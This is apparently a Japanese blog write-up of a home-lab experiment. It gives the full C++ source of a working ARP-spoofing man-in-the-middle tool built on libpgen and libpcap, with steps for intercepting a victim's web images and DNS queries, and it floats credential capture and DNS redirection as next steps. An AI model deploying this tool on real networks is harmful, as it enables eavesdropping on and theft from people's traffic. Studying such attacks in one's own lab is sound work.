libpgenでARP Spoofing 実験 中間者攻撃編
前回のARP Spoofing 実験でターゲットのARPテーブルを書き換えることには成功したので、実用させてみることにしました。ARP Spoofing を利用した、悪事として代表的な攻撃でMITM attack(中間者攻撃)と言うのがあります。
MITM attack
Man In The Middle attack、その名前のとうりに中間者攻撃です。
MITM 攻撃とはターゲットの通信をその通信とは関係ない第三者が傍受する攻撃です。詳しくは以下を参照してください
実験環境
いつもどうり、自環境以外では、犯罪になります。。。
自己責任でお願いします。
ターゲット1(パソコン) ThinkPad E130 (Ubuntu Gnome 14.04, IP=192.168.179.8, MAC=00:c2:c6:*)
ターゲット2(ルータ) NEC NAD11 (mobile wimax 2+ , IP=192.168.179.1 , MAC=a2:12:42:*)
攻撃者 ThinkPad X250 (ubuntu gnome 14.04 , IP=192.168.179.6, MAC=60:57:18:*)
前回の実験では、有線通信で実権を行ったのですが、今回は無線環境で実権を行います。
実験に使うプログラム
二つのターゲットの通信を傍受して、pcap形式のファイルに保存するツールを作りました。
いつもどうり、libpgenを使用して、攻撃コードを書いています。それに加えて今回は、pcapファイルに書き出すためlibpcapも使用して書きました。
たったの100行の簡単なプログラムです。
#include "pgen.h" #include <stdio.h> #include <pcap.h> #include <thread> const char* dev = "wlan0"; const char* dumpfile = "dump.pcap"; void mitm_attack(const char* ip1, const char* mac1, const char* ip2, const char* mac2); void capture(const char* ip1, const char* ip2); int main(int argc,char** argv){ if(argc != 5){ printf("argsn"); return -1; } std::thread mitm(mitm_attack, argv[1], argv[2], argv[3], argv[4]); capture(argv[1], argv[3]); } void mitm_attack(const char* ip1, const char* mac1, const char* ip2, const char* mac2){ pgen_arp pack_to_target1; pgen_arp pack_to_target2; pack_to_target1.ETH.src = pgen_getMAC(dev); pack_to_target1.ETH.dst = mac1; pack_to_target1.ARP.srcEth = pgen_getMAC(dev); pack_to_target1.ARP.srcIp = ip2; pack_to_target1.ARP.dstEth = mac1; pack_to_target1.ARP.dstIp = ip1; pack_to_target1.ARP.option = PGEN_ARPOP_REPLY; pack_to_target2.ETH.src = pgen_getMAC(dev); pack_to_target2.ETH.dst = mac2; pack_to_target2.ARP.srcEth = pgen_getMAC(dev); pack_to_target2.ARP.srcIp = ip1; pack_to_target2.ARP.dstEth = mac2; pack_to_target2.ARP.dstIp = ip2; pack_to_target2.ARP.option = PGEN_ARPOP_REPLY; for(int i=0; ; i++){ printf("0x%04x: %s[%s] <MITM> %s[%s] n", i, pack_to_target1.ARP.dstIp.c_str(), pack_to_target1.ARP.dstEth.c_str(), pack_to_target2.ARP.dstIp.c_str(), pack_to_target2.ARP.dstEth.c_str() ); pack_to_target1.SEND(dev); pack_to_target2.SEND(dev); sleep(1); } } void capture(const char* ip1, const char* ip2){ pcap_t* handle; pcap_dumper_t *pdump; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program bpfprog; char filtercmd[256]; sprintf(filtercmd, "ip && ((net %s) || (net %s))", ip1, ip2); handle = pcap_open_live(dev, 66536, 1,10,errbuf); if(handle == NULL){ fprintf(stderr, "%sn", errbuf); return; } if(pcap_compile(handle, &bpfprog, filtercmd, 0, 0) < 0){ fprintf(stderr, "compile: %sn", pcap_geterr(handle)); pcap_close(handle); return; } if(pcap_setfilter(handle, &bpfprog) < 0){ fprintf(stderr, "setfilter: %sn", pcap_geterr(handle)); pcap_close(handle); return; } pdump = pcap_dump_open(handle, dumpfile); if(pdump == NULL){ fprintf(stderr, "%sn", pcap_geterr(handle)); pcap_close(handle); return; } if(pcap_loop(handle, 0, pcap_dump, (u_char*)pdump) < 0){ fprintf(stderr, "%sn", pcap_geterr(handle)); pcap_dump_close(pdump); pcap_close(handle); return; } pcap_dump_close(pdump); pcap_close(handle); return; }
実験開始
ターゲットのパソコンでブラウザを起動した状態を実験開始状態賭しました。普段はchromeを使用していたのですが、chromeは実権と関係ない余計な通信をたくさんしていて邪魔だったので、firefoxを使用しました。
ターゲットでは、適当に画像検索をして画像表示と、このサイトhttp://slankdev.netに接続してもらいました。
実験前のターゲットのARPテーブルは以下の様です。
では実権を開始します!!
ここから攻撃者のコンピュータでの作業
まずlinuxのip_forwardを有効にして、通信のリダイレクトさせるようにします。
では、攻撃者のコンピュータで、作成した攻撃プログラムを実行します。
プログラムの引数はターゲット1のIPアドレス、ターゲット1のMACアドレス、ターゲット2のIPアドレス、ターゲット2のMACアドレスの順に指定していきます。
プログラムを実行すると、この様になります。
攻撃はこれで完了です。これで偽装ARPにより、ターゲットのARPテーブルの書き換えに成功しているはずなので、次はターゲットのコンピュータで画像検索などをしてみましょう。
ここまで攻撃者のコンピュータでの作業
ここからターゲットのコンピュータで作業
まずgoogle画像検索で"星空 壁紙"を検索
適当に画像を選んで、表示
次にslankdev.netに接続します。
ターゲットでの動作はこれでおわりです。ちなみに現在は攻撃を受けて、システムのARPテーブルが書き換わっている状態で、改竄された状態のARPテーブルはこの様になります。
ここまでターゲットのコンピュータの作業
通信がちゃんと傍受できているかを確認していきましょう。
ここから攻撃者のコンピュータでの作業
まず攻撃プログラムを停止させます。Ctrl-cでプログラムを終了させられます。
さっそく傍受した通信内容を解析していきましょう。
pcapファイルで保存をしているので、wiresharkで開きます。
パケットを一つ一つ解析してもきりがないので、export http objectsでオブジェクトを保存します。
では保存したファイルを見てみましょう。
綺麗な星空の壁紙がみえましたね(笑)
では次にターゲットがどのようなサイトに接続をしているかを調べてみましょう。今回はDNSの通信を見て調べていきます。
適当にいくつかパケットを見ていくと、ターゲットがどんなWEBサイトに接続をしているのかが分かります。
ちゃんとslankdev.netに接続しているのが確認できましたね。
DNSのリプライもちゃんと見れています。
ここまで攻撃者のコンピュータでの作業
以上で、とりあえず実験は終了なのですが、もう少し調べれば他の情報も分かるかもしれません。
結果
見事にMITM攻撃が成功しました。
今回は、別に見られても困らない(?)通信しか傍受しませんでしたが、ログイン情報などは、どのようになっているのか、調べてみたらおもしろいかもしれません。これは今後の課題としておきましょう。
DNSリプライのリダイレクトを偽装すれば、ターゲットを違うサイトに誘導することもできるかもしれません。。。。
最後に
いつも同じことを書いているのですが、この様な攻撃のプログラムを自分で作れるので、libpgenを作った甲斐があったと思います。
scapyなど既存のモジュールで攻撃プログラムを作成したり、dsniffのarpspoofコマンドを使ったりしても良かったのですが、自分ですべて作ってテストして、デバッグして、、、などといった作業はとても勉強になります。